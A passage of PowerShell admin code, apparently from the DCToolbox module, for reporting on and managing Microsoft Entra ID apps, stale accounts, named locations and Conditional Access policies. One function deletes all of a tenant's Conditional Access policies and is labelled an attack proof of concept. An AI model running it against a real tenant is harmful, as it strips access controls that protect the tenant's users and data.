ConvertFrom-Json).value).userPrincipalName | Format-List | Out-String + } + + $publisherDomain = ($Applications | where appId -eq $ServicePrincipal.appId).publisherDomain + + $AppCertificates = ($Applications | where appId -eq $ServicePrincipal.appId).keyCredentials | Format-Table -Property displayName, startDateTime, endDateTime | Out-String + + $AppSecrets = ($Applications | where appId -eq $ServicePrincipal.appId).passwordCredentials | Format-Table -Property displayName, startDateTime, endDateTime | Out-String + + foreach ($Permission in $Permissions) { + $AppRole = $AppRoles | where Id -eq $Permission.appRoleId + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Name" -Value $Permission.principalDisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "ClientID" -Value $ServicePrincipal.appId + $CustomObject | Add-Member -MemberType NoteProperty -Name "Owners" -Value $Owners + $CustomObject | Add-Member -MemberType NoteProperty -Name "SignInAudience" -Value $ServicePrincipal.signInAudience + $CustomObject | Add-Member -MemberType NoteProperty -Name "AppHostedInExternalTenant" -Value ($publisherDomain -eq $null) + $CustomObject | Add-Member -MemberType NoteProperty -Name "AppCertificates" -Value $AppCertificates + $CustomObject | Add-Member -MemberType NoteProperty -Name "AppSecrets" -Value $AppSecrets + $CustomObject | Add-Member -MemberType NoteProperty -Name "API" -Value $Permission.resourceDisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "RoleId" -Value $Permission.appRoleId + $CustomObject | Add-Member -MemberType NoteProperty -Name "RoleName" -Value $AppRole.Name + $CustomObject | Add-Member -MemberType NoteProperty -Name "RoleAdded" -Value $Permission.createdDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "RoleDescription" -Value $AppRole.Description + $CustomObject + } + } + + $APIPermissions + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function New-DCEntraIDStaleAccountReport { + <# + .SYNOPSIS + Automatically generate an Excel report containing all stale Entra ID accounts. + + .DESCRIPTION + Uses Microsoft Graph to fetch all Entra ID users who has not signed in for a specific number of days, and exports an Excel report. Some users might not have a last sign-in timestamp at all (maybe they didn't sign in or maybe they signed in a very long time ago), but they are still included in the report. + + Before running this CMDlet, you first need to register a new application in your Entra ID according to this article: + https://danielchronlund.com/2018/11/19/fetch-data-from-microsoft-graph-with-powershell-paging-support/ + + The following Microsoft Graph API permissions are required for this script to work: + Directory.Read.All + AuditLog.Read.All + + The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with: + Install-Module ImportExcel -Force + + Also, the user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Global Reader, Security Admin, Security Reader, etc). + + .PARAMETER ClientID + Client ID for the Entra ID application with Microsoft Graph permissions. + + .PARAMETER ClientSecret + Client secret for the Entra ID application with Microsoft Graph permissions. + + .PARAMETER LastSeenDaysAgo + Specify the number of days ago the account was last seen. Note that you can only see as long as your Entra ID sign-in logs reach (30 days by default). + + .PARAMETER OnlyMembers + Only include member accounts (no guest accounts) in the report. + + .PARAMETER OnlyGuests + Only include guest accounts (no member accounts) in the report. + + .PARAMETER IncludeMemberOf + Add a column with all group/teams memberships. + + .INPUTS + None + + .OUTPUTS + Excel report with all stale Entra ID accounts. + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + $Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 30 + } + + New-DCEntraIDStaleAccountReport @Parameters + + + $Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 10 + OnlyGuests = $true + IncludeMemberOf = $true + } + New-DCEntraIDStaleAccountReport @Parameters + #> + + + + # ----- [Initializations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $true)] + [string]$ClientID, + + [parameter(Mandatory = $true)] + [string]$ClientSecret, + + [parameter(Mandatory = $false)] + [int]$LastSeenDaysAgo = 30, + + [parameter(Mandatory = $false)] + [switch]$OnlyMembers, + + [parameter(Mandatory = $false)] + [switch]$OnlyGuests, + + [parameter(Mandatory = $false)] + [switch]$IncludeMemberOf + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Connect to Microsoft Graph with delegated credentials. + $Parameters = @{ + ClientID = $ClientID + ClientSecret = $ClientSecret + } + + $AccessToken = Connect-DCMsGraphAsDelegated @Parameters + + + # GET data. + $GraphUri = '' + + if ($OnlyMembers) { + $GraphUri = "https://graph.microsoft.com/beta/users?select=displayName,userPrincipalName,userType,accountEnabled,onPremisesSyncEnabled,companyName,department,country,signInActivity,assignedLicenses&`$filter=userType eq 'Member'" + } + elseif ($OnlyGuests) { + $GraphUri = "https://graph.microsoft.com/beta/users?select=displayName,userPrincipalName,userType,accountEnabled,onPremisesSyncEnabled,companyName,department,country,signInActivity,assignedLicenses&`$filter=userType eq 'Guest'" + } + else { + $GraphUri = "https://graph.microsoft.com/beta/users?select=displayName,userPrincipalName,userType,accountEnabled,onPremisesSyncEnabled,companyName,department,country,signInActivity,assignedLicenses" + } + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = $GraphUri + } + + $Result = Invoke-DCMsGraphQuery @Parameters + + + # Format the result. + $Result2 = foreach ($User in $Result) { + # Compare sign in date against non-interactive sign-in date. + try { + $lastSignInDateTime = Get-Date -Date $User.signInActivity.lastSignInDateTime + } + catch { + $lastSignInDateTime = $null + } + + try { + $lastNonInteractiveSignInDateTime = Get-Date -Date $User.signInActivity.lastNonInteractiveSignInDateTime + } + catch { + $lastNonInteractiveSignInDateTime = $null + } + + $LastSignInActivity = Get-Date + + if ($lastNonInteractiveSignInDateTime -gt $lastSignInDateTime) { + $LastSignInActivity = $lastNonInteractiveSignInDateTime + } + else { + $LastSignInActivity = $lastSignInDateTime + } + + + # Include group membership (might be slow). + $MemberOf = "" + + if ($IncludeMemberOf) { + $GraphUri = "https://graph.microsoft.com/beta/users/$($User.id)/memberOf" + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = $GraphUri + } + + $Groups = Invoke-DCMsGraphQuery @Parameters + + $MemberOf = foreach ($Group in $Groups) { + if ($Groups.count -gt 1) { + "$($Group.displayName)" + } + else { + "$($Group.displayName; )" + } + } + } + + + # Filter and format stale accounts. + if ($null -eq $LastSignInActivity -or (Get-Date -Date $LastSignInActivity) -lt ((Get-Date -Date (Get-Date -Format 'yyyy-MM-dd')).AddDays(-$LastSeenDaysAgo))) { + $CustomObject = New-Object -TypeName psobject + + $CustomObject | Add-Member -MemberType NoteProperty -Name "LastSignInActivity" -Value $LastSignInActivity + + $CustomObject | Add-Member -MemberType NoteProperty -Name "DisplayName" -Value $User.DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "userPrincipalName" -Value $User.userPrincipalName + $CustomObject | Add-Member -MemberType NoteProperty -Name "userType" -Value $User.userType + $CustomObject | Add-Member -MemberType NoteProperty -Name "accountEnabled" -Value $User.accountEnabled + $CustomObject | Add-Member -MemberType NoteProperty -Name "onPremisesSyncEnabled" -Value $User.onPremisesSyncEnabled + + if ($User.assignedLicenses.skuId) { + $CustomObject | Add-Member -MemberType NoteProperty -Name "assignedLicenses" -Value $true + } + else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "assignedLicenses" -Value $false + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "companyName" -Value $User.companyName + $CustomObject | Add-Member -MemberType NoteProperty -Name "department" -Value $User.department + $CustomObject | Add-Member -MemberType NoteProperty -Name "country" -Value $User.country + + if ($IncludeMemberOf) { + $CustomObject | Add-Member -MemberType NoteProperty -Name "GroupMembership" -Value $MemberOf.ToString() + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "id" -Value $User.id + + $CustomObject + } + } + + $Result2 = $Result2 | Sort-Object LastSignInActivity + + Write-Verbose -Verbose -Message "Found $($Result2.Count) stale user accounts in Entra ID." + + + # Export the report to Excel. + Write-Verbose -Verbose -Message "Exporting report to Excel..." + $Path = "$((Get-Location).Path)\Stale Accounts $(Get-Date -Format 'yyyy-MM-dd').xlsx" + $Result2 | Export-Excel -Path $Path -WorksheetName "Stale Accounts" -BoldTopRow -FreezeTopRow -AutoFilter -AutoSize -ClearSheet -Show + + + Write-Verbose -Verbose -Message "Saved $Path" + Write-Verbose -Verbose -Message "Done!" +} + + + +function Get-DCConditionalAccessPolicies { + <# + .SYNOPSIS + List all Conditional Access policies in the tenant. + + .DESCRIPTION + List all Conditional Access policies in the tenant. + + You can filter on a name prefix with -PrefixFilter. + + .PARAMETER PrefixFilter + Only show the policies with this prefix. + + .PARAMETER ShowTargetResources + Show included and excluded resources in output. Only relevant without -Details. + + .PARAMETER Details + Include policy details in output. + + .PARAMETER NamesOnly + Show names only in output. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Get-DCConditionalAccessPolicies + + .EXAMPLE + Get-DCConditionalAccessPolicies -PrefixFilter 'GLOBAL - ' + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$PrefixFilter = '', + + [parameter(Mandatory = $false)] + [switch]$ShowTargetResources, + + [parameter(Mandatory = $false)] + [switch]$Details, + + [parameter(Mandatory = $false)] + [switch]$NamesOnly + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Get all existing policies. + $ExistingPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + Write-Verbose -Verbose -Message "Fetching Conditional Access policies..." + + if ($Details) { + $Result = foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Name" -Value $Policy.DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "State" -Value $Policy.State + $CustomObject | Add-Member -MemberType NoteProperty -Name "CreatedDateTime" -Value $Policy.CreatedDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "ModifiedDateTime" -Value $Policy.ModifiedDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "Conditions" -Value ($Policy.Conditions | ConvertTo-Json) + $CustomObject | Add-Member -MemberType NoteProperty -Name "GrantControls" -Value ($Policy.GrantControls | ConvertTo-Json) + $CustomObject | Add-Member -MemberType NoteProperty -Name "SessionControls" -Value ($Policy.SessionControls | ConvertTo-Json) + $CustomObject + } + } + + $Result | Format-List + } + elseif ($NamesOnly) { + $Result = foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Name" -Value $Policy.DisplayName + $CustomObject + } + } + + $Result + } + else { + $Result = foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Name" -Value $Policy.DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "State" -Value $Policy.State + $CustomObject | Add-Member -MemberType NoteProperty -Name "CreatedDateTime" -Value $Policy.CreatedDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "ModifiedDateTime" -Value $Policy.ModifiedDateTime + + if ($ShowTargetResources) { + $CustomObject | Add-Member -MemberType NoteProperty -Name "TargetResources" -Value ($Policy.Conditions.Users | ConvertTo-Json -Depth 5) + } + + $CustomObject + } + } + + + if ($ShowTargetResources) { + $Result | Format-List + } + else { + $Result | Format-Table + } + } + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Remove-DCConditionalAccessPolicies { + <# + .SYNOPSIS + Delete ALL Conditional Access policies in a tenant. + + .DESCRIPTION + This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. Don’t be stupid! + + This CMDlet uses Microsoft Graph to automatically delete all Conditional Access policies in a tenant. It was primarily created to clean-up lab tenants, and as an attack PoC. + + This CMDlet will prompt you for confirmation multiple times before deleting policies. + + .PARAMETER PrefixFilter + Only delete the policies with this prefix. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Remove-DCConditionalAccessPolicies + + .EXAMPLE + Remove-DCConditionalAccessPolicies -PrefixFilter 'TEST - ' + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$PrefixFilter = '' + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.Read.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Prompt for confirmation: + if ($PrefixFilter -ne '') { + $title = 'Confirm' + $question = "Do you want to remove all Conditional Access policies with prefix '$PrefixFilter' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'? WARNING: ALL THESE POLICIES WILL BE DELETED!!" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + else { + $title = 'Confirm' + $question = "Do you want to remove all Conditional Access policies in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'? WARNING: ALL POLICIES WILL BE DELETED!!" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + + + # Prompt for confirmation: + $title = 'Confirm' + $question = "ARE YOU REALLY REALLY SURE?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + Write-Verbose -Verbose -Message "Starting deletion..." + } + else { + return + } + + + # Delete all existing policies. + $ExistingPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + + foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + Start-Sleep -Seconds 1 + Write-Verbose -Verbose -Message "Deleting '$($Policy.DisplayName)'..." + $GraphUri = "https://graph.microsoft.com/beta/identity/conditionalAccess/policies/$($Policy.Id)" + + Invoke-MgGraphRequest -Method 'DELETE' -Uri $GraphUri -ErrorAction SilentlyContinue | Out-Null + } + } + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Rename-DCConditionalAccessPolicies { + <# + .SYNOPSIS + Rename Conditional Access policies that matches a specific prefix. + + .DESCRIPTION + This command helps you to quickly rename a bunch of Conditional Access policies by searching for a specific prefix. + + If you dontt specify a PrefixFilter, ALL policies will be modified to include the new prefix . + + .PARAMETER PrefixFilter + Only toggle the policies with this prefix. + + .PARAMETER AddCustomPrefix + Adds a custom prefix to all policy names. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Rename-DCConditionalAccessPolicies -PrefixFilter 'PILOT - ' -AddCustomPrefix 'PROD - ' + + .EXAMPLE + Rename-DCConditionalAccessPolicies -PrefixFilter 'GLOBAL - ' -AddCustomPrefix 'REPORT - GLOBAL - ' + + .EXAMPLE + Rename-DCConditionalAccessPolicies -AddCustomPrefix 'OLD - ' + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$PrefixFilter = '', + + [parameter(Mandatory = $false)] + [string]$AddCustomPrefix = '' + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + if ($PrefixFilter -eq '') { + # Prompt for confirmation: + $title = 'Confirm' + $question = "Do you want to add prefix '$AddCustomPrefix' to ALL Conditional Access policies in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + else { + # Prompt for confirmation: + $title = 'Confirm' + $question = "Do you want to rename all Conditional Access policies with prefix '$PrefixFilter' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )' to '$AddCustomPrefix'?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + + + # Modify all existing policies. + Write-Verbose -Verbose -Message "Looking for Conditional Access policies to rename..." + $ExistingPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + + foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + + if ($PrefixFilter -eq '') { + Write-Verbose -Verbose -Message "Adding prefix '$AddCustomPrefix' to policy '$($Policy.DisplayName)'..." + + # Rename policy: + $params = @{ + DisplayName = "$AddCustomPrefix$($Policy.DisplayName)" + } + + Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $Policy.Id -BodyParameter $params + + Start-Sleep -Seconds 1 + } + else { + Write-Verbose -Verbose -Message "Renaming '$($Policy.DisplayName)' to '$($Policy.DisplayName -replace $PrefixFilter, $AddCustomPrefix)'..." + + # Rename policy: + $params = @{ + DisplayName = "$($Policy.DisplayName -replace $PrefixFilter, $AddCustomPrefix)" + } + + Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $Policy.Id -BodyParameter $params + + Start-Sleep -Seconds 1 + } + } + } + + + Write-Verbose -Verbose -Message "Done!" +} + + +function Get-DCNamedLocations { + <# + .SYNOPSIS + List Named Locations in the tenant. + + .DESCRIPTION + List Named Locations in the tenant. + + You can filter on a name prefix with -PrefixFilter. + + .PARAMETER PrefixFilter + Only show the named locations with this prefix. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Get-DCNamedLocations + + .EXAMPLE + Get-DCNamedLocations -PrefixFilter 'OFFICE-' + + .EXAMPLE + # List all trusted IP addresses. + (Get-DCNamedLocations | where isTrusted -eq $true).ipRanges | Select-Object -Unique | Sort-Object + + .EXAMPLE + # List all countries. + (Get-DCNamedLocations).countriesAndRegions | Select-Object -Unique | Sort-Object + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$PrefixFilter = '' + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.Read.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Get all named locations. + $NamedLocations = Get-MgIdentityConditionalAccessNamedLocation + + Write-Verbose -Verbose -Message "Fetching Named Locations..." + + $Result = foreach ($NamedLocation in $NamedLocations) { + if ($NamedLocation.DisplayName.StartsWith($PrefixFilter)) { + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Name" -Value $NamedLocation.DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "Id" -Value $NamedLocation.Id + $CustomObject | Add-Member -MemberType NoteProperty -Name "CreatedDateTime" -Value $NamedLocation.CreatedDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "ModifiedDateTime" -Value $NamedLocation.ModifiedDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "isTrusted" -Value $NamedLocation.AdditionalProperties.isTrusted + $CustomObject | Add-Member -MemberType NoteProperty -Name "ipRanges" -Value $NamedLocation.AdditionalProperties.ipRanges.cidrAddress + $CustomObject | Add-Member -MemberType NoteProperty -Name "countriesAndRegions" -Value $NamedLocation.AdditionalProperties.countriesAndRegions + $CustomObject | Add-Member -MemberType NoteProperty -Name "countryLookupMethod" -Value $NamedLocation.AdditionalProperties.countryLookupMethod + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUnknownCountriesAndRegions" -Value $NamedLocation.AdditionalProperties.includeUnknownCountriesAndRegions + $CustomObject + } + } + + $Result + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Deploy-DCConditionalAccessBaselinePoC { + <# + .SYNOPSIS + Automatically deploy the latest version of the Conditional Access policy design baseline from https://danielchronlund.com. + + .DESCRIPTION + This CMDlet downloads the latest version of the Conditional Access policy design baseline from https://danielchronlund.com/2020/11/26/azure-ad-conditional-access-policy-design-baseline-with-automatic-deployment-support/. It creates all necessary dependencies like exclusion groups, named locations, and terms of use, and then deploys all Conditional Access policies in the baseline. + + All Conditional Access policies created by this CMDlet will be set to report-only mode. + + The purpose of this tool is to quickly deploy the complete baseline as a PoC. You can then test, pilot, and deploy it going forward. + + You must be a Global Admin to run this command (because of the admin consent required) but no other preparations are required. + + .PARAMETER AddCustomPrefix + Adds a custom prefix to all policy names. + + .PARAMETER ExcludeGroupDisplayName + Set a custom name for the break glass exclude group. Default: 'Excluded from Conditional Access'. You can set this to an existing group if you already have one. + + .PARAMETER ServiceAccountGroupDisplayName + Set a custom name for the service account group. Default: 'Conditional Access Service Accounts'. You can set this to an existing group if you already have one. + + .PARAMETER NamedLocationCorpNetwork + Set a custom name for the corporate network named location. Default: 'Corporate Network'. You can set this to an existing named location if you already have one. + + .PARAMETER NamedLocationAllowedCountries + Set a custom name for the allowed countries named location. Default: 'Allowed Countries'. You can set this to an existing named location if you already have one. + + .PARAMETER TermsOfUseName + Set a custom name for the terms of use. Default: 'Terms of Use'. You can set this to an existing Terms of Use if you already have one. + + .PARAMETER SkipPolicies + Specify one or more policy names in the baseline that you want to skip. + + .PARAMETER SkipReportOnlyMode + All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use this parameter. WARNING: Use this parameter with caution since ALL POLICIES will go live for ALL USERS when you specify this. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Deploy-DCConditionalAccessBaselinePoC + + .EXAMPLE + Deploy-DCConditionalAccessBaselinePoC -AddCustomPrefix 'PILOT - ' + + .EXAMPLE + # Customize names of dependencies. + $Parameters = @{ + ExcludeGroupDisplayName = 'Excluded from Conditional Access' + ServiceAccountGroupDisplayName = 'Conditional Access Service Accounts' + NamedLocationCorpNetwork = 'Corporate Network' + NamedLocationAllowedCountries = 'Allowed Countries' + TermsOfUseName = 'Terms of Use' + } + + Deploy-DCConditionalAccessBaselinePoC @Parameters + + .EXAMPLE + Deploy-DCConditionalAccessBaselinePoC -SkipPolicies "GLOBAL - BLOCK - High-Risk Sign-Ins", "GLOBAL - BLOCK - High-Risk Users", "GLOBAL - GRANT - Medium-Risk Sign-Ins", "GLOBAL - GRANT - Medium-Risk Users" + + .EXAMPLE + Deploy-DCConditionalAccessBaselinePoC -SkipReportOnlyMode # WARNING: USE WITH CAUTION! + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$AddCustomPrefix = '', + + [parameter(Mandatory = $false)] + [string]$ExcludeGroupDisplayName = 'Excluded from Conditional Access', + + [parameter(Mandatory = $false)] + [string]$ServiceAccountGroupDisplayName = 'Conditional Access Service Accounts', + + [parameter(Mandatory = $false)] + [string]$NamedLocationCorpNetwork = 'Corporate Network', + + [parameter(Mandatory = $false)] + [string]$NamedLocationAllowedCountries = 'Allowed Countries', + + [parameter(Mandatory = $false)] + [string]$TermsOfUseName = 'Terms of Use', + + [parameter(Mandatory = $false)] + [string[]]$SkipPolicies, + + [parameter(Mandatory = $false)] + [switch]$SkipReportOnlyMode + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Group.ReadWrite.All', 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All', 'Agreement.ReadWrite.All', 'Application.Read.All', 'RoleManagement.ReadWrite.Directory' -Verbose + + + # Prompt for confirmation: + if ($SkipReportOnlyMode) { + $title = 'Confirm' + $question = "Do you want to deploy the Conditional Access baseline PoC (production mode) in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'? WARNING: ALL POLICIES will go live for ALL USERS! Remove -SkipReportOnlyMode to deploy in report-only mode instead." + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + Write-Verbose -Verbose -Message "Starting deployment..." + } + else { + return + } + } + else { + $title = 'Confirm' + $question = "Do you want to deploy the Conditional Access baseline PoC (report-only) in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 0) + if ($decision -eq 0) { + Write-Host "" + Write-Verbose -Verbose -Message "Starting deployment..." + } + else { + return + } + } + + + # Step 2: Manage Conditional Access exclude group for break glass accounts. + + # Check for existing group. + Write-Verbose -Verbose -Message "Checking for existing exclude group '$ExcludeGroupDisplayName'..." + $ExistingExcludeGroup = Get-MgGroup -Filter "DisplayName eq '$ExcludeGroupDisplayName'" -Top 1 + + if ($ExistingExcludeGroup) { + Write-Verbose -Verbose -Message "The group '$ExcludeGroupDisplayName' already exists!" + } + else { + # Create group if none existed. + Write-Verbose -Verbose -Message "Could not find '$ExcludeGroupDisplayName'. Creating group..." + $ExistingExcludeGroup = New-MgGroup -DisplayName $ExcludeGroupDisplayName -MailNickName $($ExcludeGroupDisplayName.Replace(' ', '_')) -MailEnabled:$False -SecurityEnable -IsAssignableToRole + + # Sleep for 5 seconds. + Start-Sleep -Seconds 5 + + # Add current user to the new exclude group. + $CurrentUser = Get-MgUser -Filter "UserPrincipalName eq '$((Get-MgContext).Account)'" + Write-Verbose -Verbose -Message "Adding current user '$($CurrentUser.UserPrincipalName)' to the new group..." + New-MgGroupMember -GroupId $ExistingExcludeGroup.Id -DirectoryObjectId $CurrentUser.Id + } + + + # Step 3: Manage Conditional Access service account group (for non-human accounts). + + # Check for existing group. + Write-Verbose -Verbose -Message "Checking for existing service account group '$ServiceAccountGroupDisplayName'..." + $ExistingServiceAccountGroup = Get-MgGroup -Filter "DisplayName eq '$ServiceAccountGroupDisplayName'" -Top 1 + + if ($ExistingServiceAccountGroup) { + Write-Verbose -Verbose -Message "The group '$ServiceAccountGroupDisplayName' already exists!" + } + else { + # Create group if none existed. + Write-Verbose -Verbose -Message "Could not find '$ServiceAccountGroupDisplayName'. Creating group..." + $ExistingServiceAccountGroup = New-MgGroup -DisplayName $ServiceAccountGroupDisplayName -MailNickName $($ServiceAccountGroupDisplayName.Replace(' ', '_')) -MailEnabled:$False -SecurityEnable -IsAssignableToRole + } + + + # Step 4: Manage named location for corporate network trusted IP addresses. + + # Check for existing named location. + Write-Verbose -Verbose -Message "Checking for existing corporate network named location '$NamedLocationCorpNetwork'..." + $ExistingCorpNetworkNamedLocation = Get-MgIdentityConditionalAccessNamedLocation -Filter "DisplayName eq '$NamedLocationCorpNetwork'" -Top 1 + + if ($ExistingCorpNetworkNamedLocation) { + Write-Verbose -Verbose -Message "The named location '$NamedLocationCorpNetwork' already exists!" + } + else { + # Create named location if none existed. + Write-Verbose -Verbose -Message "Could not find '$NamedLocationCorpNetwork'. Creating named location..." + + # Get current public IP address: + $PublicIp = (Get-DCPublicIp).ip + + $params = @{ + "@odata.type" = "#microsoft.graph.ipNamedLocation" + DisplayName = "$NamedLocationCorpNetwork" + IsTrusted = $true + IpRanges = @( + @{ + "@odata.type" = "#microsoft.graph.iPv4CidrRange" + CidrAddress = "$PublicIp/32" + } + ) + } + + $ExistingCorpNetworkNamedLocation = New-MgIdentityConditionalAccessNamedLocation -BodyParameter $params + } + + + # Step 5: Manage named location for allowed countries. + + # Check for existing named location. + Write-Verbose -Verbose -Message "Checking for existing allowed countries named location 